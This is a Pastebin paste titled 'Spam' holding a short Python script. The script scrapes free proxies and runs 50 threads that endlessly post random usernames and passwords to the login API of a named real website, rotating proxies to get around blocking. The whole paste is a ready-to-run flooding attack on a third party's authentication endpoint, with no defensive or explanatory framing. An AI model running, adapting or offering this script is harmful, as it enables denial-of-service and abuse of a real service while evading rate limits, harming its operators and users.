Advertisement
N_0x3a

Spam

Nov 24th, 2020
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.25 KB | None | 0 0
  1. import requests, random, string, threading
  2. from colorama import Fore
  3. from random import choice
  4. from bs4 import BeautifulSoup
  5.  
  6. def gen(length):
  7. letters = string.ascii_lowercase + string.ascii_lowercase
  8. return ''.join(random.choice(letters) for i in range(length))
  9.  
  10. def proxys():
  11. try:
  12. response = requests.get("https://sslproxies.org/")
  13. soup = BeautifulSoup(response.content, 'html5lib')
  14. proxy = {'https': choice(list(map(lambda x:x[0]+':'+x[1], list(zip(map(lambda x:x.text,
  15. soup.findAll('td')[::8]), map(lambda x:x.text, soup.findAll('td')[1::8]))))))}
  16. return proxy
  17. except Exception as e:
  18. pass
  19.  
  20. def send():
  21. while True:
  22. proxy = proxys()
  23. try:
  24. json = {'username': gen(20), 'password': gen(20)}
  25. r = requests.post('https://pays.host/api/authentication/login', data=json, proxies=proxy)
  26. print(r.text)
  27. print(f'[{r.status_code}] {proxy} | {count} Requests Sent')
  28. except Exception as e:
  29. pass
  30.  
  31. thread_list = []
  32.  
  33. for i in range(50):
  34. t = threading.Thread(target=send)
  35. thread_list.append(t)
  36.  
  37. for thread in thread_list:
  38. thread.start()
  39.  
  40. for thread in thread_list:
  41. thread.join() 
  42.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement